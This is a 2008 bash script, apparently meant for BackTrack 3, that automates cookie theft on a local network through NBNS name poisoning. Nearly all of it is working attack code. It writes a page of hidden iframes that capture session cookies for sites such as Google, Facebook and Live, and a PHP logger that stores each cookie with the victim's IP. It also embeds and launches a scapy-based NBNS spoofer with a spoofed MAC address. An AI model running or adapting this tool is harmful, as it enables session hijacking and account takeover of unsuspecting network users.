#############################################################
#       nbnscript.sh (ver 1.2_EN - 9/11/2008)           hkm @ hakim . ws  9/2008
#############################################################
# COOKIE THEFT BY NBNS DOMAIN POISONING
# 
# If DNS does not respond to a request,  Windows tries to resolve it locally using NBNS. 
# Using nbnspoof.py (by mcgrew) and some iframes pointing to non existing subdomains, we can obtain cookies
# of any domain with little user interaction (i.e. typing google.cmo instead of .com).
#
# This script is made for BackTrack 3.
# Redirects non existent (sub)domains to a local page that logs cookies and has iframes with non existing 
# subdomains (but real domains) pointed to itself.
# 
# If you run this script with default settings, any domain that is not resolved will be directed to a local
# server that will obtain cookies of: google.com live.com hi5.com and facebook.com (sheeeesh...) and
# show you their cookies on your screen.
# On I.E. only one cookie can be retrieved at a time, and using a request like http://0.google.com
# Notas Interesantes################################################
# Even when using OpenDNS in Firefox you can redirect by using an empty subdomain like  http://.hi5.com
# No-script doesnt allow you to obtain all the cookies at once, but you can use the I.E. procedure.
# You can also redirect to external IPs
############################################################
################   C a s t   ######################################
############################################Saludos a #mendozaaaa
#                                 -por los volcanes! 6sep2008 (6:34am)
#                             @  [sdc] - [nitrous] - [hkm] - [crypkey]  @
##### hkm ##### creo el nbnscript.sh para usarlo en su, recien reiniciado, backtrack
##### nitr0us ##### modifico el nbnspoof.py para contestar solo a una IP (dirigido)
##### Robert Wesley McGrew ##### de http://www.mcgrewsecurity.com creo nbnspoof.py
############################################################
############################################################
clear
echo -e '\n     nbnscript.sh v1.01  hkm @ hakim.ws 9/2008\n
\nUsing default configuration:\n
Using interface: [eth0]
Obtain cookies from: [google.com live.com hi5.com facebook.com]
Victim IP: [all]
MAC: [using random spoofed MAC]
Redirect: [all names/domains]
Redirect to: [this machine]\n'
read -n1 -p 'Press [c] to [c]onfigure or enter to [continue] : ' conf
if [ "$conf" = "c" ]
then
echo -e '\n';
read -p "Interface to use [or eth0] : " iface
read -p "Domains to steal cookies from [or default] : " dominios
read -p  "Victim IP [or all] : " IPdst
read -p  "Spoofed MAC [or random] : " MAC
read -p  "Only redirect this name/domain [or all] : " nombre
read -p  "IP to redirect domains to [or this machine] : " IP
fi 
echo  -e '\n[+] Creating scripts and files...'
rm /var/www/htdocs/index.html -f
### I N D E X . H T M L ##############################################
# sends the cookie via GET to /getc.php, if it is not inside frames it prints the iframes
echo -e '
<HTML><BODY><SCRIPT>
if(document.cookie) {
var c=escape(document.cookie);
document.write("<img src=/getc.php?c="+c+" style='\''display: none'\''>");
}
if ( window.top==window.self ) {
document.write("<iframe src=http://0.google.com style='\''display: none'\''></iframe>");
document.write("<iframe src=http://.live.com style='\''display: none'\''></iframe>");
document.write("<iframe src=http://0.facebook.com style='\''display: none'\''></iframe>");
document.write("<iframe src=http://.hi5.com style='\''display: none'\''></iframe>");
' >> /var/www/htdocs/index.html;
for dominio in $dominios 
do
  echo -e 'document.write("<iframe src=http://0.'$dominio' style='\''display: none'\''></iframe>");' >> /var/www/htdocs/index.html;
  echo -e 'document.write("<iframe src=http://.'$dominio' style='\''display: none'\''></iframe>");' >> /var/www/htdocs/index.html;
done
echo '
}
</SCRIPT></BODY></HTML> ' >> /var/www/htdocs/index.html;
rm /var/www/htdocs/getc.php -f
#############################################################
### G E T C . P H P #################################################
# GETs the cookie and stores it in c00kies.txt

echo -e '
<?PHP
if ($_GET["c"]){
	$cookie = urldecode($_GET["c"]);
	$file = fopen("c00kies.txt","a+");
	fwrite($file, "\r\n".$_SERVER['\''REMOTE_ADDR'\'']." ". $_SERVER['\''HTTP_REFERER'\'']." = ".$cookie);
	fclose($file); }
?> ' >> /var/www/htdocs/getc.php;
rm nbnspoof.py -f
#############################################################
### N B N S P O O F . P Y #############################################
# sends spoofed NBNS responses ( escaped '  =>  '/''  & /x00  =>  //x00 )
echo -e '
#!/usr/bin/env python
# 
# nbnspoof.py
# 03-27-2007
# Robert Wesley McGrew
# wesley@mcgrewsecurity.com
#
# http://mcgrewsecurity.com
#
# Keeping things simple: You may use this code however you see fit, so 
# long as you give me proper credit.  Email me if you have any
# questions.
#
# -s option added by nitr0us 09-07-2008
import sys
import getopt
import re
from scapy import *
global verbose
global regexp
global ip
global interface
global mac_addr
def usage():
   print """Usage:
nbnspoof.py [-v] -i <interface> -n <regexp> -h <ip address> -m <MAC> [-s <dst ip>]

-v Verbose output of sniffed NBNS name queries, and responses sent

-i The interface you want to sniff and send on

-n A regular expression applied to each query to determine whether a
   spoofed response will be sent
   
-h The IP address that will be sent in spoofed responses

-m The source MAC address for spoofed responses

-s  The spoofed response will be sent to this IP ONLY! (Optional)
"""
   return
def pack_ip(addr):
   temp = IP(src=addr)
   return str(temp)[0x0c:0x10]
def unpack_ip(bin):
   temp = IP()
   temp = str(temp)[:0x0c] + bin + str(temp)[0x10:]
   temp = IP(temp)
   return temp.src
def get_packet(pkt):
   global verbose
   global regexp
   global ip
   global interface
   global mac_addr
   if not pkt.getlayer(NBNSQueryRequest):
      return
   if pkt.FLAGS & 0x8000:
      query = False
      addr = unpack_ip(str(pkt.getlayer(Raw))[8:])
   else:
      query = True
   if verbose:
      print str(pkt.NAME_TRN_ID) + ":",
      if query:
         print "Q",
      else:
         print "R",
      print "SRC:" + pkt.getlayer(IP).src + " DST:" + pkt.getlayer(IP).dst,
      if query:
         print '\''NAME:"'\'' + pkt.QUESTION_NAME + '\''"'\''
      else:
         print '\''NAME:"'\'' + pkt.QUESTION_NAME + '\''"'\'',
         print '\''IP:'\'' + addr
   if query and regexp.match(pkt.QUESTION_NAME.rstrip(),0):
      response  = Ether(dst=pkt.src,src=mac_addr)
      response /= IP(dst=pkt.getlayer(IP).src,src=ip)
      response /= UDP(sport=137,dport=137)
      response /= NBNSQueryRequest(NAME_TRN_ID=pkt.getlayer(NBNSQueryRequest).NAME_TRN_ID,\
                                  FLAGS=0x8500,\
                                  QDCOUNT=0,\
                                  ANCOUNT=1,\
                                  NSCOUNT=0,\
                                  ARCOUNT=0,\
                                  QUESTION_NAME=pkt.getlayer(NBNSQueryRequest).QUESTION_NAME,\
                                  SUFFIX=pkt.getlayer(NBNSQueryRequest).SUFFIX,\
                                  NULL=0,\
                                  QUESTION_TYPE=pkt.getlayer(NBNSQueryRequest).QUESTION_TYPE,\
                                  QUESTION_CLASS=pkt.getlayer(NBNSQueryRequest).QUESTION_CLASS)
      response /= Raw()
      # Time to live: 3 days, 11 hours, 20 minutes
      response.getlayer(Raw).load += '\''\\x00\\x04\\x93\\xe0'\'' 
      # Data length: 6
      response.getlayer(Raw).load += '\''\\x00\\x06'\''
      # Flags: (B-node, unique)
      response.getlayer(Raw).load += '\''\\x00\\x00'\''
      # The IP we'\''re giving them:
      response.getlayer(Raw).load += pack_ip(ip)
      sendp(response,iface=interface,verbose=0)
      if verbose:
         print '\''Sent spoofed reply to #'\'' + str(response.getlayer(NBNSQueryRequest).NAME_TRN_ID)
   return
def main():
   global verbose
   global regexp
   global ip
   global interface
   global mac_addr
   try:
      opts, args = getopt.getopt(sys.argv[1:],"vi:n:h:m:s:")
   except:
      usage()
      sys.exit(1)
   verbose = False
   interface = None
   name_regexp = None
   ip = None
   src_ip = None
   mac_addr = None
   for o, a in opts:
      if o == '\''-v'\'':
         verbose = True
      if o == '\''-i'\'':
         interface = a
      if o == '\''-n'\'':
         name_regexp = a
      if o == '\''-h'\'':
         ip = a
      if o == '\''-m'\'':
         mac_addr = a
      if o == '\''-s'\'':
         src_ip = a
   if args or not ip  or not name_regexp or not interface or not mac_addr:
      usage()
      sys.exit(1)
   regexp = re.compile(name_regexp,re.IGNORECASE)
   if src_ip:
      sniff(iface=interface,filter="ip src " + src_ip + " and udp and port 137",store=0,prn=get_packet)
   else:
      sniff(iface=interface,filter="udp and port 137",store=0,prn=get_packet)
   return
if __name__ == "__main__":
   main()
' >> nbnspoof.py;
#############################################################
#############################################################
cp /usr/local/bin/scapy.py ./
echo "Waiting for cookies...">> /var/www/htdocs/c00kies.txt
chmod 777 /var/www/htdocs/c00kies.txt
if [ "$MAC" = "" ]
then
MAC=00:$(printf '%02x:%02x:%02x:%02x:%02x' $((RANDOM % 256)) $((RANDOM % 256)) $((RANDOM % 256)) $((RANDOM % 256)) $((RANDOM % 256)))
fi
if [ "$iface" = "" ]
then
iface=eth0
fi
if [ "$IP" = "" ]
then
IP=`ifconfig $iface | grep 'inet' | cut -d: -f2 | awk '{ print $1}'`
fi
echo '[+] Restarting httpd with php...'
httpd -k stop
httpd -f /etc/httpd/httpd.conf.cgi.enabled -k start
echo '[+] Starting cookie capture and NBNS poisoning...'
xterm -T "[nbnscript.sh] - Waiting for cookies..." -geometry 200x200+0+0 -e watch -d cat /var/www/htdocs/c00kies.txt &
if [ "$nombre" = "" ]
then
nombre=".*"
fi
if [ "$IPdst" = "" ]
then
xterm -T "[nbnspoof.py] - NBNS Poisoning" -geometry 200x15-0-0 -e python nbnspoof.py -v -i $iface -n "$nombre" -h $IP -m $MAC
else
xterm -T "[nbnspoof.py] - NBNS Poisoning" -geometry 200x15-0-0 -e python nbnspoof.py -v -i $iface -n "$nombre" -h $IP -m $MAC -s $IPdst
fi
